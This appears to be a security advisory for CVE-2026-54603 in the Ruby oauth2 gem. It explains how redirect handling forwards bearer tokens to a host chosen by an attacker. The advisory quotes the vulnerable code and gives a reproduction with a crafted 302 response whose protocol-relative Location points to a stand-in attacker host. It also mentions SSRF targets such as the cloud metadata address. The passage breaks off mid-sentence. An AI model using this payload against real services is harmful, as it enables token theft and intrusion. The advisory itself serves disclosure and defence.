CVE-2026-54603

Summary

When an application uses OAuth2::Client (typically via an OAuth2::AccessToken) and the configured authorization server returns a redirect whose Location header is a protocol-relative URI of the form //attacker.example/leak, OAuth2::Client#request resolves the redirect with response.response.env.url.merge(location). Per RFC 3986 §5.2, an input that starts with // is a network-path reference and replaces the authority of the base URL: URI("http://idp.trusted/userinfo").merge("//attacker.example/leak") returns http://attacker.example/leak. The recursive request(verb, full_location, req_opts) call then re-sends the request to the attacker host while preserving the Authorization: Bearer <access-token> header that OAuth2::AccessToken#configure_authentication! installed on req_opts[:headers] for the original request.

The result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the Location it emits) can extract the bearer access token of the calling user.

Affected

• oauth2 v2.0.21 and all prior versions back to and including v0.4.0.
  • The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
  • The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in OAuth2::Client#request since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
• Ruby 4.0.5 on arm64-darwin25. The behaviour of URI#merge for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).
• Adapter independence: confirmed against the default faraday 2.14.2 + faraday-net_http 3.4.3 stack. The URI#merge call is in oauth2 itself, not in Faraday, so the issue is not adapter-specific.

Impact

A consumer that uses OAuth2::AccessToken#get / #post / #request against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:

1. Cross-origin credential disclosure. The connection-scoped Authorization: Bearer <token> header attached by OAuth2::AccessToken#configure_authentication! is sent to the attacker host on the very next request, with no second user interaction.
2. SSRF from the application server. The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (//169.254.169.254/..., //127.0.0.1:.../...) that the application server can reach but the attacker cannot.

The combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no Location: http://attacker/... is needed — the protocol-relative //attacker/x form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.

Vulnerable code

lib/oauth2/client.rb#L146-L182 at commit e2d509705db6091c8d5f27c31e29c58e39e51c7c (tag v2.0.20):

def request(verb, url, req_opts = {}, &block)
  response = execute_request(verb, url, req_opts, &block)
  status = response.status

  case status
  when 301, 302, 303, 307
    req_opts[:redirect_count] ||= 0
    req_opts[:redirect_count] += 1
    return response if req_opts[:redirect_count] > options[:max_redirects]

    if status == 303
      verb = :get
      req_opts.delete(:body)
    end
    location = response.headers["location"]
    if location
      full_location = response.response.env.url.merge(location)  # <-- protocol-relative input replaces authority
      request(verb, full_location, req_opts)
    # ...

response.response.env.url is the resolved URL of the prior request (always absolute, since Faraday's build_exclusive_url produces an absolute URI). location is the raw Location response header, with no validation. URI#merge follows RFC 3986 §5.2 and treats //host/path as a network-path reference, dropping the base authority and adopting the input's host. The recursive request(verb, full_location, req_opts) then re-enters with req_opts unchanged, which means any Authorization header that OAuth2::AccessToken#configure_authentication! placed in req_opts[:headers] for the original request travels with the redirected request to the attacker-controlled host.

The credential plumbing is at lib/oauth2/access_token.rb#L376-L408:

def configure_authentication!(opts, verb)
  # ...
  case mode
  when :header
    opts[:headers] ||= {}
    opts[:headers].merge!(headers)
  # ...
end

def headers
  {"Authorization" => options[:header_format] % token}
end

The default token mode is :header, so every AccessToken#get / #post / #request call attaches Authorization: Bearer <token> to req_opts[:headers]. That same dictionary is then forwarded verbatim into the redirected request, because Client#request does not inspect or strip req_opts[:headers] when the redirect crosses origins.

Reachable in production

The vulnerable path is the documented AccessToken#get / AccessToken#post flow that every oauth2 integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to options[:max_redirects] hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative Location header is enough to redirect the next request to an attacker host with the bearer token attached.

Realistic upstream triggers:

1. Open redirect on the IdP. Many authorization servers expose endpoints that emit Location based on user input (for example logout flows, redirect_uri echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant //attacker.example/leak as the redirect target and induce the oauth2 client to follow it.
2. Tenant-controlled IdP. Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via OAuth2::Client.new(... , site: tenant_supplied_url) allows a malicious tenant to set site: to its own server and emit the protocol-relative Location directly.
3. Compromised or downgraded IdP. A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.

In all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.

Reproduction

The issue can be reproduced with a client using the default bearer-token header mode against an oauth2 version before 2.0.22.

Minimal setup:

require "oauth2"

client = OAuth2::Client.new(
  "client-id",
  "client-secret",
  site: "http://idp.example.test"
)

token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")
token.get("/userinfo")

If the configured authorization/resource server responds to that request with a redirect such as:

HTTP/1.1 302 Found
Location: //attacker.example.test/leak
Content-Length: 0

then vulnerable versions resolve the protocol-relative Location as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because OAuth2::AccessToken uses `Authorizati